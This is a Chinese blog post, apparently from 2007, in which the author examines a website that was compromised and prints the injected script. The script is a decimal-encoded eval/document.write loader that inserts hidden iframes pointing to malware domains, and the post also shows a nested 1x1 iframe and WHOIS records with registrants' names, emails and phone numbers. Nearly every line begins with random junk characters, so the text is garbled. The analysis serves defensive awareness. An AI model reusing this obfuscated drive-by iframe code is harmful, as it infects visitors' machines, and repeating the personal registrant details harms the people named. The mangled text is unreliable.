首发在我的博客里面，
vJzx P y| [cY?!Qd 0 http://www.areway.cn/?p=175 +,:nm_kQU W=!F8g|Qz W=(MsuirO 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
~m3V]v(q7 @ICejB < <script>t=’60,105,102,114,97,109,101,
YGi/]^Nba 32,115,114,99,61,104,116,116,112,58,47,47,
23 ,%=U 102,114,101,101,46,117,45,117,117,117,46,99,
1@s^$fvW 110,47,101,114,114,111,114,46,104,116,109,
y`T--v3mI 32,119,105,100,116,104,61,49,48,48,32,104,
Y|Nfwqz 101,105,103,104,116,61,48,62,60,47,105,102,
a'o}u,e5 114,97,109,101,62′;
,OFq'}q t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
w@4t$bd7 oT$(<$&< <script>t=’60,105,102,114,97,109,101,32,115,
+YkmLD 114,99,61,104,116,116,112,58,47,47,102,114,
v_[)FN"]Y. 101,101,46,117,45,117,117,117,46,99,110,47,
F?!};~$=Z 101,114,114,111,114,46,104,116,109,32,119,
fB@K'JQG 105,100,116,104,61,49,48,48,32,104,101,105,
nA|gQibA 103,104,116,61,48,62,60,47,105,102,114,97,
kwDj K" 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
1 NB2y[ document.write(t);</script>
GC,vQ\ $ $W{HsX <html xmlns=”
:H~UyrN http://www.w3.org/1999/xhtml ,7WK<0
“>
gizmJ:< <head>
&T5f H!?4 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
[ ]s B^UT <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
s ,{ RP0| <title>首页 - 爱生活家庭网
Y8{T.\%\+ >}xAg7\^ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
w 50.gr7 转换字符串后的大概内容是（谁点击后果自付）：
OYQXi <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
?*(r1grHl ;Hz `0V 查询玉米u-uuu.cn的详细信息：
|SwZi'p Domain Name: u-uuu.cn
..v@Q% ROID: 20070901s10001s64972306-cn
Xq} n ^W Domain Status: ok
Qq @_Z=m t Registrant Organization: 王雷
Ew)n~!s Registrant Name: 王雷
'Y~8_+J? Administrative Email:
czlovexs@126.com }L{_xyi># Sponsoring Registrar: 北京万网志成科技有限公司
d;*OO xQV Name Server:ns.yovole.com
jb #1&L 14 Name Server:ns1.yovole.com
5#N"WHz! Registration Date: 2007-09-01 17:54
v ^ FV
t Expiration Date: 2008-09-01 17:54
O?+tY
y? 最后PING了一下地址 都没有什么….
~ 4p]E'b ;C7BoHB9 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
P':]A{<Z <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
^5 9YfC<f <script language=”javascript” src=”
"^e}C@ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script /\oyPD`(( >
,E
n(gm 这个玉米应该有可能是木马作者的：
Z QgxrZx3 foafau.info的详细信息：
tk] _QX
% Access to INFO WHOIS information is provided to assist persons in
Lqz}&A
determining the contents of a domain name registration record in the
qcpG}o+&D Afilias registry database. The data in this record is provided by
}R?v"6aBS Afilias Limited for informational purposes only, and Afilias does not
lN*1zM<6; guarantee its accuracy. This service is intended only for query-based
9Y!0>&o access. You agree that you will use this data only for lawful purposes
DkF@XK0c3 and that, under no circumstances will you use this data to: (a) allow,
Wme1Uid enable, or otherwise support the transmission by e-mail, telephone, or
*_<SWTE facsimile of mass unsolicited, commercial advertising or solicitations
TV$\v@\ = to entities other than the data recipient’s own existing customers; or
}+QhW]nO{F (b) enable high volume, automated, electronic processes that send
6_ 33*/>=c queries or data to the systems of Registry Operator, a Registrar, or
BIHHRCe:@n Afilias except as reasonably necessary to register domain names or
\]~kyy modify existing registrations. All rights reserved. Afilias reserves
ePPp )= the right to modify these terms at any time. By submitting this query,
2\$WP-)% you agree to abide by this policy.
l>[QrRXiSN Domain ID:D22418703-LRMS
ouu-wQ|(mM Domain Name:FOAFAU.INFO
-=v/p*v0o Created On:20-Nov-2007 16:05:42 UTC
g9 grfN Last Updated On:20-Nov-2007 16:05:44 UTC
"'&>g4F`o Expiration Date:20-Nov-2008 16:05:42 UTC
d =c1WK Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
P_^ |KEz Status:CLIENT DELETE PROHIBITED
/S2p ``E+ Status:CLIENT RENEW PROHIBITED
~Q{[fy= Status:CLIENT TRANSFER PROHIBITED
!)l%EJ ngL Status:CLIENT UPDATE PROHIBITED
z_[ 3IAZ Status:TRANSFER PROHIBITED
hhh: rmEZl Registrant ID:GODA-040110615
af`f*{Co3 Registrant Name:liu hong
0qotC6l~_w Registrant Organization:
5Qm .ECXV Registrant Street1:beijing
y:^>(l #; Registrant Street2:
w;h\Y+Myyk Registrant Street3:
p8}5x 2F Registrant City:beijing
f;_K}23 Registrant State/Province:
1 ,*Z_ F=y Registrant Postal Code:100000
1Q2k> q8 Registrant Country:CN
??esB& 4? Registrant Phone:+86.860108888777
y [ rB" Registrant Phone Ext.:
b 'Nvx9=W Registrant FAX:
ki][q vXJ Registrant FAX Ext.:
>8Yrmq Registrant Email:bbbshiji@163.com
jP6oJcZ Admin ID:GODA-240110615
V K@i#/jm Admin Name:liu hong
3 gfV0C\ Admin Organization:
ys"mP* wD Admin Street1:beijing
\8@[bpI@g Admin Street2:
;?Y ` e Admin Street3:
c+G :@% Admin City:beijing
l5N\> q Admin State/Province:
A= YEY n Admin Postal Code:100000
A$9_aqbj Admin Country:CN
41+E U Mc Admin Phone:+86.860108888777
1rvf\ [ Admin Phone Ext.:
\Im \*A Admin FAX:
fv 1!^CDia Admin FAX Ext.:
+oKpA\mz Admin Email:bbbshiji@163.com
VEdnP +D Billing ID:GODA-340110615
ovBd%wJ 0 Billing Name:liu hong
Nf?,
_Rl Billing Organization:
VdN+~+A: Billing Street1:beijing
T\b";+!W Billing Street2:
si"mM>e Billing Street3:
4'4s EjyA Billing City:beijing
b6E8ase:F Billing State/Province:
d8y =. Billing Postal Code:100000
3<.j`JB@ & Billing Country:CN
i +
&lMgh Billing Phone:+86.860108888777
RWm Q] Billing Phone Ext.:
@gVyLefS6g Billing FAX:
~sU!
1 Billing FAX Ext.:
V
n!az} Billing Email:bbbshiji@163.com
5 xzB1n8 Tech ID:GODA-140110615
}FdcbNsP Tech Name:liu hong
Xt a> Tech Organization:
(k2J{6] Tech Street1:beijing
.WPR}v,.Z Tech Street2:
]&tr\-3 Tech Street3:
xYkgNXGs5 Tech City:beijing
@x>$_:] Tech State/Province:
S5[RSAbf*t Tech Postal Code:100000
k;Ny%%5 Tech Country:CN
N=?kEX
O Tech Phone:+86.860108888777
i!+3uHWu`) Tech Phone Ext.:
" ih> T^| Tech FAX:
5Z>pa`_$2 Tech FAX Ext.:
3x;y}:wQ a Tech Email:bbbshiji@163.com
`] dx% Name Server:NS27.DOMAINCONTROL.COM
jX8 C2}j Name Server:NS28.DOMAINCONTROL.COM
OB
I8~k Name Server:
r(xlokpnb6 Name Server:
(R|FQdH Name Server:
CFrH NU Name Server:
3,cE/ Ei Name Server:
z%gt V' Name Server:
uJ5%JB("E Name Server:
'; T5[l, Name Server:
= &g}Y Name Server:
a D3F!Sn Name Server:
v]Q _ Name Server:
(,9cCnvmYU Ch&]<#E>` 接着下载每个文件里面的代码：
XTX o xZ#w 一步一步看..
3ij I2Zy 
O.8m%ZjD 
)Ai%wCzw* 
F p=Q$J| 
`g:^KCGMM 
;7=J U^@D@ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
